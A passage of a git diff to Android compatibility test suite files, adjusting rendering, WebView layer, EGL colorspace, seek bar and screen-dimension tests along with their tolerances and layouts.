private final String NOTIFICATION_GROUP_KEY = "test_group";
@@ -147,7 +153,7 @@
(float) s.backgroundPixels / s.totalPixels(),
"Is the bar background showing correctly (solid red)?");
- assertMoreThan("Not enough pixels colored as in the spec", 0.1f,
+ assertMoreThan("Not enough pixels colored as in the spec", 0.3f,
(float) s.iconPixels / s.foregroundPixels(),
"Are the bar icons colored according to the spec "
+ "(60% black and 24% black)?");
@@ -237,7 +243,7 @@
}
// What we expect the icons to be colored according to the spec.
- if (c == mixedIconColor || c == mixedIconPartialColor) {
+ if (isColorSame(c, mixedIconColor) || isColorSame(c, mixedIconPartialColor)) {
s.iconPixels++;
continue;
}
@@ -277,4 +283,15 @@
fgGreen + (255 - fgAlpha) * bgGreen / 255,
fgBlue + (255 - fgAlpha) * bgBlue / 255);
}
+
+ /**
+ * Check if two colors' diff is in the error margin as defined in
+ * {@link #COLOR_COMPONENT_ERROR_MARGIN}.
+ */
+ private boolean isColorSame(int c1, int c2){
+ return Math.abs(Color.alpha(c1) - Color.alpha(c2)) < COLOR_COMPONENT_ERROR_MARGIN
+ && Math.abs(Color.red(c1) - Color.red(c2)) < COLOR_COMPONENT_ERROR_MARGIN
+ && Math.abs(Color.green(c1) - Color.green(c2)) < COLOR_COMPONENT_ERROR_MARGIN
+ && Math.abs(Color.blue(c1) - Color.blue(c2)) < COLOR_COMPONENT_ERROR_MARGIN;
+ }
}
diff --git a/tests/tests/text/assets/fonts/StaticLayoutLineBreakingTestFont.ttf b/tests/tests/text/assets/fonts/StaticLayoutLineBreakingTestFont.ttf
index fd49e76..4487483 100644
--- a/tests/tests/text/assets/fonts/StaticLayoutLineBreakingTestFont.ttf
+++ b/tests/tests/text/assets/fonts/StaticLayoutLineBreakingTestFont.ttf
Binary files differ
diff --git a/tests/tests/text/assets/fonts/StaticLayoutLineBreakingTestFont.ttx b/tests/tests/text/assets/fonts/StaticLayoutLineBreakingTestFont.ttx
index 8464b2f..21d6b4c 100644
--- a/tests/tests/text/assets/fonts/StaticLayoutLineBreakingTestFont.ttx
+++ b/tests/tests/text/assets/fonts/StaticLayoutLineBreakingTestFont.ttx
@@ -136,6 +136,7 @@
<cmap>
<tableVersion version="0"/>
<cmap_format_12 format="12" reserved="0" length="6" nGroups="1" platformID="3" platEncID="10" language="0">
+ <map code="0x000a" name="0em" /> <!-- \n -->
<map code="0x0020" name="10em" />
<map code="0x002e" name="10em" /> <!-- . -->
<map code="0x0043" name="100em" /> <!-- C -->
diff --git a/tests/tests/uiautomation/Android.mk b/tests/tests/uiautomation/Android.mk
index 347c55f..b9bdbfb 100644
--- a/tests/tests/uiautomation/Android.mk
+++ b/tests/tests/uiautomation/Android.mk
@@ -21,7 +21,7 @@
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner ub-uiautomator
diff --git a/tests/tests/uirendering/res/layout/circle_clipped_webview.xml b/tests/tests/uirendering/res/layout/circle_clipped_webview.xml
index 44b65be..49add88 100644
--- a/tests/tests/uirendering/res/layout/circle_clipped_webview.xml
+++ b/tests/tests/uirendering/res/layout/circle_clipped_webview.xml
@@ -14,6 +14,7 @@
limitations under the License.
-->
<android.uirendering.cts.testclasses.view.CircleClipFrameLayout
+ android:id="@+id/circle_clip_frame_layout"
xmlns:android="http://schemas.android.com/apk/res/android"
android:layout_width="@dimen/test_width"
android:layout_height="@dimen/test_height">
diff --git a/tests/tests/uirendering/res/layout/frame_layout_webview.xml b/tests/tests/uirendering/res/layout/frame_layout_webview.xml
new file mode 100644
index 0000000..a3afd81
--- /dev/null
+++ b/tests/tests/uirendering/res/layout/frame_layout_webview.xml
@@ -0,0 +1,21 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2018 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+<FrameLayout xmlns:android="http://schemas.android.com/apk/res/android"
+ android:id="@+id/frame_layout"
+ android:layout_width="@dimen/test_width"
+ android:layout_height="@dimen/test_height">
+ <include layout="@layout/test_content_webview"/>
+</FrameLayout>
diff --git a/tests/tests/uirendering/res/layout/test_content_webview.xml b/tests/tests/uirendering/res/layout/test_content_webview.xml
index 8b03cab..32762ec 100644
--- a/tests/tests/uirendering/res/layout/test_content_webview.xml
+++ b/tests/tests/uirendering/res/layout/test_content_webview.xml
@@ -14,5 +14,6 @@
-->
<WebView
xmlns:android="http://schemas.android.com/apk/res/android"
+ android:id="@+id/webview"
android:layout_width="@dimen/test_width"
android:layout_height="@dimen/test_height"/>
\ No newline at end of file
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/HardwareBitmapTests.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/HardwareBitmapTests.java
index 2f8823a..3391bb9 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/HardwareBitmapTests.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/HardwareBitmapTests.java
@@ -17,6 +17,7 @@
package android.uirendering.cts.testclasses;
import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
import static org.junit.Assert.assertNotNull;
import static org.junit.Assert.assertNull;
import static org.junit.Assert.assertTrue;
@@ -106,6 +107,7 @@
public void testReadbackThroughPicture() {
Bitmap hardwareBitmap = BitmapFactory.decodeResource(mRes, R.drawable.robot,
HARDWARE_OPTIONS);
+ assertEquals(Bitmap.Config.HARDWARE, hardwareBitmap.getConfig());
Picture picture = new Picture();
{
Canvas canvas = picture.beginRecording(TEST_WIDTH, TEST_HEIGHT);
@@ -121,6 +123,27 @@
}
@Test
+ public void testReadbackThroughPictureNoEndRecording() {
+ // Exact same test as #testReadbackThroughPicture but with an omitted endRecording
+ Bitmap hardwareBitmap = BitmapFactory.decodeResource(mRes, R.drawable.robot,
+ HARDWARE_OPTIONS);
+ assertEquals(Bitmap.Config.HARDWARE, hardwareBitmap.getConfig());
+ Picture picture = new Picture();
+ {
+ Canvas canvas = picture.beginRecording(TEST_WIDTH, TEST_HEIGHT);
+ canvas.drawColor(Color.WHITE);
+ canvas.drawBitmap(hardwareBitmap, 0, 0, null);
+ }
+ // It will be true, but as endRecording hasn't been called yet it's still in the
+ // "false" state from beginRecording()
+ assertFalse(picture.requiresHardwareAcceleration());
+ Bitmap result = Bitmap.createBitmap(picture, picture.getWidth(), picture.getHeight(),
+ Bitmap.Config.ARGB_8888);
+ assertTrue(new GoldenImageVerifier(getActivity(),
+ R.drawable.golden_robot, new MSSIMComparer(0.95)).verify(result));
+ }
+
+ @Test
public void testCreateScaledBitmapFromPicture() {
Picture picture = new Picture();
{
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/LayerTests.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/LayerTests.java
index 4614680..6b5857f 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/LayerTests.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/LayerTests.java
@@ -19,30 +19,36 @@
import static org.junit.Assert.assertEquals;
import android.animation.ValueAnimator;
-import android.graphics.Canvas;
+import android.content.pm.PackageManager;
import android.graphics.Color;
import android.graphics.ColorMatrix;
import android.graphics.ColorMatrixColorFilter;
import android.graphics.Matrix;
import android.graphics.Paint;
+import android.graphics.Point;
import android.graphics.PorterDuff;
import android.graphics.PorterDuffXfermode;
import android.graphics.Rect;
-import androidx.annotation.ColorInt;
import android.support.test.filters.LargeTest;
import android.support.test.filters.MediumTest;
import android.support.test.runner.AndroidJUnit4;
import android.uirendering.cts.R;
+import android.uirendering.cts.bitmapcomparers.MSSIMComparer;
import android.uirendering.cts.bitmapverifiers.ColorCountVerifier;
import android.uirendering.cts.bitmapverifiers.ColorVerifier;
import android.uirendering.cts.bitmapverifiers.RectVerifier;
+import android.uirendering.cts.bitmapverifiers.SamplePointVerifier;
import android.uirendering.cts.testinfrastructure.ActivityTestBase;
import android.uirendering.cts.testinfrastructure.ViewInitializer;
+import android.uirendering.cts.util.WebViewReadyHelper;
import android.view.Gravity;
import android.view.View;
import android.view.ViewTreeObserver;
+import android.webkit.WebView;
import android.widget.FrameLayout;
+import androidx.annotation.ColorInt;
+
import org.junit.Test;
import org.junit.runner.RunWith;
@@ -385,4 +391,246 @@
})
.runWithVerifier(new ColorVerifier(Color.RED));
}
+
+ @LargeTest
+ @Test
+ public void testWebViewWithLayer() {
+ if (!getActivity().getPackageManager().hasSystemFeature(PackageManager.FEATURE_WEBVIEW)) {
+ return; // no WebView to run test on
+ }
+ CountDownLatch hwFence = new CountDownLatch(1);
+ createTest()
+ .addLayout(R.layout.test_content_webview, (ViewInitializer) view -> {
+ WebView webview = view.requireViewById(R.id.webview);
+ WebViewReadyHelper helper = new WebViewReadyHelper(webview, hwFence);
+ helper.loadData("<body style=\"background-color:blue\">");
+ webview.setLayerType(View.LAYER_TYPE_HARDWARE, null);
+ }, true, hwFence)
+ .runWithVerifier(new ColorVerifier(Color.BLUE));
+ }
+
+ @LargeTest
+ @Test
+ public void testWebViewWithOffsetLayer() {
+ if (!getActivity().getPackageManager().hasSystemFeature(PackageManager.FEATURE_WEBVIEW)) {
+ return; // no WebView to run test on
+ }
+ CountDownLatch hwFence = new CountDownLatch(1);
+ createTest()
+ .addLayout(R.layout.frame_layout_webview, (ViewInitializer) view -> {
+ FrameLayout layout = view.requireViewById(R.id.frame_layout);
+ layout.setBackgroundColor(Color.RED);
+
+ WebView webview = view.requireViewById(R.id.webview);
+ WebViewReadyHelper helper = new WebViewReadyHelper(webview, hwFence);
+ helper.loadData("<body style=\"background-color:blue\">");
+
+ webview.setLayerType(View.LAYER_TYPE_HARDWARE, null);
+ webview.setTranslationX(10);
+ webview.setTranslationY(10);
+ webview.getLayoutParams().width = TEST_WIDTH - 20;
+ webview.getLayoutParams().height = TEST_HEIGHT - 20;
+ }, true, hwFence)
+ .runWithVerifier(new RectVerifier(Color.RED, Color.BLUE,
+ new Rect(10, 10, TEST_WIDTH - 10, TEST_HEIGHT - 10)));
+ }
+
+ @LargeTest
+ @Test
+ public void testWebViewWithParentLayer() {
+ if (!getActivity().getPackageManager().hasSystemFeature(PackageManager.FEATURE_WEBVIEW)) {
+ return; // no WebView to run test on
+ }
+ CountDownLatch hwFence = new CountDownLatch(1);
+ createTest()
+ .addLayout(R.layout.frame_layout_webview, (ViewInitializer) view -> {
+ FrameLayout layout = view.requireViewById(R.id.frame_layout);
+ layout.setBackgroundColor(Color.RED);
+ layout.setLayerType(View.LAYER_TYPE_HARDWARE, null);
+
+ WebView webview = view.requireViewById(R.id.webview);
+ WebViewReadyHelper helper = new WebViewReadyHelper(webview, hwFence);
+ helper.loadData("<body style=\"background-color:blue\">");
+
+ webview.setTranslationX(10);
+ webview.setTranslationY(10);
+ webview.getLayoutParams().width = TEST_WIDTH - 20;
+ webview.getLayoutParams().height = TEST_HEIGHT - 20;
+
+ }, true, hwFence)
+ .runWithVerifier(new RectVerifier(Color.RED, Color.BLUE,
+ new Rect(10, 10, TEST_WIDTH - 10, TEST_HEIGHT - 10)));
+ }
+
+ @LargeTest
+ @Test
+ public void testWebViewScaledWithParentLayer() {
+ if (!getActivity().getPackageManager().hasSystemFeature(PackageManager.FEATURE_WEBVIEW)) {
+ return; // no WebView to run test on
+ }
+ CountDownLatch hwFence = new CountDownLatch(1);
+ createTest()
+ .addLayout(R.layout.frame_layout_webview, (ViewInitializer) view -> {
+ FrameLayout layout = view.requireViewById(R.id.frame_layout);
+ layout.setBackgroundColor(Color.RED);
+ layout.setLayerType(View.LAYER_TYPE_HARDWARE, null);
+
+ WebView webview = view.requireViewById(R.id.webview);
+ WebViewReadyHelper helper = new WebViewReadyHelper(webview, hwFence);
+ helper.loadData("<body style=\"background-color:blue\">");
+
+ webview.setTranslationX(10);
+ webview.setTranslationY(10);
+ webview.setScaleX(0.5f);
+ webview.getLayoutParams().width = 40;
+ webview.getLayoutParams().height = 40;
+
+ }, true, hwFence)
+ .runWithVerifier(new RectVerifier(Color.RED, Color.BLUE,
+ new Rect(20, 10, 40, 50)));
+ }
+
+ @LargeTest
+ @Test
+ public void testWebViewWithAlpha() {
+ if (!getActivity().getPackageManager().hasSystemFeature(PackageManager.FEATURE_WEBVIEW)) {
+ return; // no WebView to run test on
+ }
+ CountDownLatch hwFence = new CountDownLatch(1);
+ createTest()
+ .addLayout(R.layout.test_content_webview, (ViewInitializer) view -> {
+ WebView webview = view.requireViewById(R.id.webview);
+ WebViewReadyHelper helper = new WebViewReadyHelper(webview, hwFence);
+ helper.loadData("<body style=\"background-color:blue\">");
+
+ // reduce alpha by 50%
+ webview.setAlpha(0.5f);
+
+ }, true, hwFence)
+ .runWithVerifier(new ColorVerifier(Color.rgb(128, 128, 255)));
+ }
+
+ @LargeTest
+ @Test
+ public void testWebViewWithAlphaLayer() {
+ if (!getActivity().getPackageManager().hasSystemFeature(PackageManager.FEATURE_WEBVIEW)) {
+ return; // no WebView to run test on
+ }
+ CountDownLatch hwFence = new CountDownLatch(1);
+ createTest()
+ .addLayout(R.layout.test_content_webview, (ViewInitializer) view -> {
+ WebView webview = view.requireViewById(R.id.webview);
+ WebViewReadyHelper helper = new WebViewReadyHelper(webview, hwFence);
+ helper.loadData("<body style=\"background-color:blue\">");
+
+ // reduce alpha by 50%
+ Paint paint = new Paint();
+ paint.setAlpha(128);
+ webview.setLayerType(View.LAYER_TYPE_HARDWARE, paint);
+
+ // reduce alpha by another 50% (ensuring two alphas combine correctly)
+ webview.setAlpha(0.5f);
+
+ }, true, hwFence)
+ .runWithVerifier(new ColorVerifier(Color.rgb(191, 191, 255)));
+ }
+
+ @LargeTest
+ @Test
+ public void testWebViewWithUnclippedLayer() {
+ if (!getActivity().getPackageManager().hasSystemFeature(PackageManager.FEATURE_WEBVIEW)) {
+ return; // no WebView to run test on
+ }
+ CountDownLatch hwFence = new CountDownLatch(1);
+ createTest()
+ .addLayout(R.layout.test_content_webview, (ViewInitializer) view -> {
+ WebView webview = view.requireViewById(R.id.webview);
+ WebViewReadyHelper helper = new WebViewReadyHelper(webview, hwFence);
+ helper.loadData("<body style=\"min-height: 120vh; background-color:blue\">");
+ webview.setVerticalFadingEdgeEnabled(true);
+ webview.setVerticalScrollBarEnabled(false);
+ webview.setLayerType(View.LAYER_TYPE_HARDWARE, null);
+
+ }, true, hwFence)
+ .runWithVerifier(new SamplePointVerifier(
+ new Point[] {
+ // solid area
+ new Point(0, 0),
+ new Point(0, TEST_HEIGHT - 1),
+ // fade area
+ new Point(0, TEST_HEIGHT - 10),
+ new Point(0, TEST_HEIGHT - 5)
+ },
+ new int[] {
+ Color.BLUE,
+ Color.WHITE,
+ 0xffb3b3ff, // white blended with blue
+ 0xffdbdbff // white blended with blue
+ }));
+ }
+
+ @LargeTest
+ @Test
+ public void testWebViewWithUnclippedLayerAndComplexClip() {
+ if (!getActivity().getPackageManager().hasSystemFeature(PackageManager.FEATURE_WEBVIEW)) {
+ return; // no WebView to run test on
+ }
+ CountDownLatch hwFence = new CountDownLatch(1);
+ createTest()
+ .addLayout(R.layout.circle_clipped_webview, (ViewInitializer) view -> {
+ WebView webview = view.requireViewById(R.id.webview);
+ WebViewReadyHelper helper = new WebViewReadyHelper(webview, hwFence);
+ helper.loadData("<body style=\"min-height: 120vh; background-color:blue\">");
+ webview.setVerticalFadingEdgeEnabled(true);
+ webview.setVerticalScrollBarEnabled(false);
+ webview.setLayerType(View.LAYER_TYPE_HARDWARE, null);
+
+ }, true, hwFence)
+ .runWithVerifier(new SamplePointVerifier(
+ new Point[] {
+ // solid white area
+ new Point(0, 0),
+ new Point(0, TEST_HEIGHT - 1),
+ // solid blue area
+ new Point(TEST_WIDTH / 2 , 5),
+ // fade area
+ new Point(TEST_WIDTH / 2, TEST_HEIGHT - 10),
+ new Point(TEST_WIDTH / 2, TEST_HEIGHT - 5)
+ },
+ new int[] {
+ Color.WHITE,
+ Color.WHITE,
+ Color.BLUE,
+ 0xffb3b3ff, // white blended with blue
+ 0xffdbdbff // white blended with blue
+ }));
+ }
+
+ @LargeTest
+ @Test
+ public void testWebViewWithLayerAndComplexClip() {
+ if (!getActivity().getPackageManager().hasSystemFeature(PackageManager.FEATURE_WEBVIEW)) {
+ return; // no WebView to run test on
+ }
+ CountDownLatch hwFence = new CountDownLatch(1);
+ createTest()
+ // golden client - draw a simple non-AA circle
+ .addCanvasClient((canvas, width, height) -> {
+ Paint paint = new Paint();
+ paint.setAntiAlias(false);
+ paint.setColor(Color.BLUE);
+ canvas.drawOval(0, 0, width, height, paint);
+ }, false)
+ // verify against solid color webview, clipped to its parent oval
+ .addLayout(R.layout.circle_clipped_webview, (ViewInitializer) view -> {
+ FrameLayout layout = view.requireViewById(R.id.circle_clip_frame_layout);
+ layout.setLayerType(View.LAYER_TYPE_HARDWARE, null);
+
+ WebView webview = view.requireViewById(R.id.webview);
+ WebViewReadyHelper helper = new WebViewReadyHelper(webview, hwFence);
+ helper.loadData("<body style=\"background-color:blue\">");
+
+ }, true, hwFence)
+ .runWithComparer(new MSSIMComparer(0.95));
+ }
}
diff --git a/tests/tests/view/src/android/view/cts/TextureViewCtsActivity.java b/tests/tests/view/src/android/view/cts/TextureViewCtsActivity.java
index 119bb39..52a0a8d 100644
--- a/tests/tests/view/src/android/view/cts/TextureViewCtsActivity.java
+++ b/tests/tests/view/src/android/view/cts/TextureViewCtsActivity.java
@@ -64,6 +64,7 @@
private int mEglColorSpace = 0;
private boolean mIsEGLWideGamut = false;
+ private boolean mEGLExtensionUnsupported = false;
static final int EGL_CONTEXT_CLIENT_VERSION = 0x3098;
static final int EGL_OPENGL_ES2_BIT = 4;
@@ -202,6 +203,10 @@
}
}
+ public boolean initGLExtensionUnsupported() {
+ return mEGLExtensionUnsupported;
+ }
+
public void initGl() throws Throwable {
initGl(0, false);
}
@@ -215,6 +220,7 @@
}
mEglColorSpace = eglColorSpace;
mIsEGLWideGamut = useHalfFloat;
+ mEGLExtensionUnsupported = false;
runOnGLThread(mDoInitGL);
}
@@ -340,6 +346,32 @@
GLUtils.getEGLErrorString(mEgl.eglGetError()));
}
+ // check extensions but still attempt to run the test, if the test fails then we check
+ // mEGLExtensionUnsupported to determine if the failure was expected.
+ String extensions = mEgl.eglQueryString(mEglDisplay, EGL10.EGL_EXTENSIONS);
+ if (mEglColorSpace != 0) {
+ String eglColorSpaceString = null;
+ switch (mEglColorSpace) {
+ case TextureViewTest.EGL_GL_COLORSPACE_DISPLAY_P3_EXT:
+ eglColorSpaceString = "EGL_EXT_gl_colorspace_display_p3";
+ break;
+ case TextureViewTest.EGL_GL_COLORSPACE_SRGB_KHR:
+ eglColorSpaceString = "EGL_KHR_gl_colorspace";
+ break;
+ case TextureViewTest.EGL_GL_COLORSPACE_SCRGB_LINEAR_EXT:
+ eglColorSpaceString = "EGL_EXT_gl_colorspace_scrgb_linear";
+ break;
+ default:
+ throw new RuntimeException("Unknown eglColorSpace: " + mEglColorSpace);
+ }
+ if (!extensions.contains(eglColorSpaceString)) {
+ mEGLExtensionUnsupported = true;
+ }
+ }
+ if (mIsEGLWideGamut && !extensions.contains("EXT_pixel_format_float")) {
+ mEGLExtensionUnsupported = true;
+ }
+
mEglConfig = chooseEglConfig();
if (mEglConfig == null) {
throw new RuntimeException("eglConfig not initialized");
diff --git a/tests/tests/view/src/android/view/cts/TextureViewTest.java b/tests/tests/view/src/android/view/cts/TextureViewTest.java
index 8a474e7..f3f5318 100644
--- a/tests/tests/view/src/android/view/cts/TextureViewTest.java
+++ b/tests/tests/view/src/android/view/cts/TextureViewTest.java
@@ -238,8 +238,8 @@
activity.initGl(eglColorSpace, useHalfFloat);
} catch (RuntimeException e) {
// failure to init GL with the right colorspace is not a TextureView failure as some
- // devices may not support 16-bits
- if (!useHalfFloat) {
+ // devices may not support 16-bits or the colorspace extension
+ if (!activity.initGLExtensionUnsupported()) {
fail("Unable to initGL : " + e);
}
return;
diff --git a/tests/tests/webkit/src/android/webkit/cts/TracingControllerTest.java b/tests/tests/webkit/src/android/webkit/cts/TracingControllerTest.java
index 5f5d78d..db1be3a 100644
--- a/tests/tests/webkit/src/android/webkit/cts/TracingControllerTest.java
+++ b/tests/tests/webkit/src/android/webkit/cts/TracingControllerTest.java
@@ -121,10 +121,25 @@
@Override
protected void tearDown() throws Exception {
+ // make sure to stop everything and clean up
+ ensureTracingStopped();
+ if (singleThreadExecutor != null) {
+ singleThreadExecutor.shutdown();
+ if (!singleThreadExecutor.awaitTermination(EXECUTOR_TIMEOUT, TimeUnit.SECONDS)) {
+ fail("Failed to shutdown executor");
+ }
+ }
if (mOnUiThread != null) {
mOnUiThread.cleanUp();
}
- // make sure to stop everything and clean up
+ super.tearDown();
+ }
+
+ private void ensureTracingStopped() throws Exception {
+ if (!NullWebViewUtils.isWebViewAvailable()) {
+ return;
+ }
+
TracingController.getInstance().stop(null, singleThreadExecutor);
Callable<Boolean> tracingStopped = new Callable<Boolean>() {
@Override
@@ -133,12 +148,6 @@
}
};
PollingCheck.check("Tracing did not stop", POLLING_TIMEOUT, tracingStopped);
-
- singleThreadExecutor.shutdown();
- if (!singleThreadExecutor.awaitTermination(EXECUTOR_TIMEOUT, TimeUnit.SECONDS)) {
- fail("Failed to shutdown executor");
- }
- super.tearDown();
}
private ThreadFactory getCustomThreadFactory() {
diff --git a/tests/tests/widget/src/android/widget/cts/AbsSeekBarTest.java b/tests/tests/widget/src/android/widget/cts/AbsSeekBarTest.java
index 606c86fa..83014b9 100644
--- a/tests/tests/widget/src/android/widget/cts/AbsSeekBarTest.java
+++ b/tests/tests/widget/src/android/widget/cts/AbsSeekBarTest.java
@@ -265,6 +265,42 @@
assertEquals(keyProgressIncrement + 1, myAbsSeekBar.getKeyProgressIncrement());
}
+ @Test
+ public void testAccessMin() {
+ AbsSeekBar myAbsSeekBar = new MyAbsSeekBar(mActivity, null, R.style.TestProgressBar);
+
+ int progress = -5;
+ int min = progress - 1;
+ int max = 5;
+ myAbsSeekBar.setMax(max);
+ myAbsSeekBar.setMin(min);
+ myAbsSeekBar.setProgress(progress);
+ assertEquals(min, myAbsSeekBar.getMin());
+ assertEquals(progress, myAbsSeekBar.getProgress());
+ assertEquals(1, myAbsSeekBar.getKeyProgressIncrement());
+
+ min = progress + 1;
+ myAbsSeekBar.setMin(min);
+ assertEquals(min, myAbsSeekBar.getMin());
+ assertEquals(min, myAbsSeekBar.getProgress());
+ assertEquals(1, myAbsSeekBar.getKeyProgressIncrement());
+
+ int keyProgressIncrement = 10;
+ myAbsSeekBar.setKeyProgressIncrement(keyProgressIncrement);
+ assertEquals(keyProgressIncrement, myAbsSeekBar.getKeyProgressIncrement());
+ max = (keyProgressIncrement - 1) * 10;
+ min = -1 * keyProgressIncrement * 10;
+ myAbsSeekBar.setMax(max);
+ myAbsSeekBar.setMin(min);
+ assertEquals(keyProgressIncrement, myAbsSeekBar.getKeyProgressIncrement());
+
+ max += 20;
+ myAbsSeekBar.setMax(max);
+ assertEquals(keyProgressIncrement + 1, myAbsSeekBar.getKeyProgressIncrement());
+ assertEquals(min, myAbsSeekBar.getMin());
+ assertEquals(max, myAbsSeekBar.getMax());
+ }
+
@UiThreadTest
@Test
public void testThumbTint() {
diff --git a/tests/tests/widget/src/android/widget/cts/TextViewPrecomputedTextTest.java b/tests/tests/widget/src/android/widget/cts/TextViewPrecomputedTextTest.java
index 282ee5f..ffa5a28 100644
--- a/tests/tests/widget/src/android/widget/cts/TextViewPrecomputedTextTest.java
+++ b/tests/tests/widget/src/android/widget/cts/TextViewPrecomputedTextTest.java
@@ -61,15 +61,15 @@
@Parameterized.Parameter(5)
public boolean differentTypeface;
@Parameterized.Parameter(6)
- public boolean differentFontVariationSettings;
- @Parameterized.Parameter(7)
public boolean differentElegantTextHeight;
- @Parameterized.Parameter(8)
+ @Parameterized.Parameter(7)
public boolean differentBreakStrategy;
- @Parameterized.Parameter(9)
+ @Parameterized.Parameter(8)
public boolean differentHyphenationFrequency;
- @Parameterized.Parameter(10)
+ @Parameterized.Parameter(9)
public boolean differentTextDir;
+ @Parameterized.Parameter(10)
+ public boolean differentFontVariationSettings;
// text size from the default value.
private Pair<Params, String[]> makeDifferentParams(Params params) {
@@ -156,8 +156,12 @@
ArrayList<Object[]> allParams = new ArrayList<>();
// Compute the powerset except for all false case.
- int allParameterCount = 11;
- for (int bits = 1; bits < (1 << allParameterCount); ++bits) {
+ final int allParameterCount = 11;
+ // The 11-th bit is for font variation settings. Don't add test case if the system don't
+ // have variable fonts.
+ final int fullBits = hasVarFont()
+ ? (1 << allParameterCount) - 1 : (1 << (allParameterCount - 1)) - 1;
+ for (int bits = 1; bits <= fullBits; ++bits) {
Object[] param = new Object[allParameterCount];
for (int j = 0; j < allParameterCount; ++j) {
param[j] = new Boolean((bits & (1 << j)) != 0);
@@ -167,6 +171,12 @@
return allParams;
}
+ private static boolean hasVarFont() {
+ final TextPaint copied = new TextPaint((new TextView(getContext())).getPaint());
+ return copied.setFontVariationSettings("'wght' 400")
+ && copied.setFontVariationSettings("'wdth' 100");
+ }
+
@SmallTest
@Test
public void setText() {
diff --git a/tests/ui/src/android/ui/cts/WatchPercentageScreenDimenTest.java b/tests/ui/src/android/ui/cts/WatchPercentageScreenDimenTest.java
index 4df824c..c550f82 100644
--- a/tests/ui/src/android/ui/cts/WatchPercentageScreenDimenTest.java
+++ b/tests/ui/src/android/ui/cts/WatchPercentageScreenDimenTest.java
@@ -31,9 +31,11 @@
@RunWith(AndroidJUnit4.class)
@SmallTest
public class WatchPercentageScreenDimenTest {
+
private Context mContext;
private Configuration mConfig;
private float mScreenWidth;
+ private DisplayMetrics mDisplayMetrics;
private boolean isRoundWatch() {
return mConfig.isScreenRound() && (mConfig.uiMode & Configuration.UI_MODE_TYPE_WATCH)
@@ -44,7 +46,8 @@
public void setUp() throws Exception {
mContext = InstrumentationRegistry.getTargetContext();
mConfig = mContext.getResources().getConfiguration();
- mScreenWidth = mContext.getResources().getDisplayMetrics().widthPixels;
+ mDisplayMetrics = mContext.getResources().getDisplayMetrics();
+ mScreenWidth = mDisplayMetrics.widthPixels;
}
@Test
@@ -54,6 +57,7 @@
}
float expected = mScreenWidth * 0.1f;
+ float expectedDelta = getMaxErrorRatio() * expected;
TypedArray attrs = mContext.obtainStyledAttributes(new int[] {
android.R.attr.listPreferredItemPaddingEnd
@@ -63,7 +67,7 @@
for (int i = 0; i < attrs.length(); ++i) {
float actual = attrs.getDimension(i, -1);
Assert.assertEquals("screen_percentage_10 is not 10% of screen width",
- expected, actual, 0.1f);
+ expected, actual, expectedDelta + 0.01f);
}
}
@@ -74,6 +78,7 @@
}
float expected = mScreenWidth * 0.15f;
+ float expectedDelta = getMaxErrorRatio() * expected;
TypedArray attrs = mContext.obtainStyledAttributes(new int[] {
android.R.attr.dialogPreferredPadding,
@@ -86,7 +91,14 @@
for (int i = 0; i < attrs.length(); ++i) {
float actual = attrs.getDimension(i, -1);
Assert.assertEquals("screen_percentage_15 is not 15% of screen width",
- expected, actual, 0.1f);
+ expected, actual, expectedDelta + 0.01f);
}
}
+
+ private float getMaxErrorRatio() {
+ // The size used will be the closest qualifier with width <= device width, so there may be
+ // small rounding errors.
+ float widthDp = mDisplayMetrics.widthPixels / mDisplayMetrics.density;
+ return (widthDp - (float) Math.floor(widthDp)) / widthDp;
+ }
}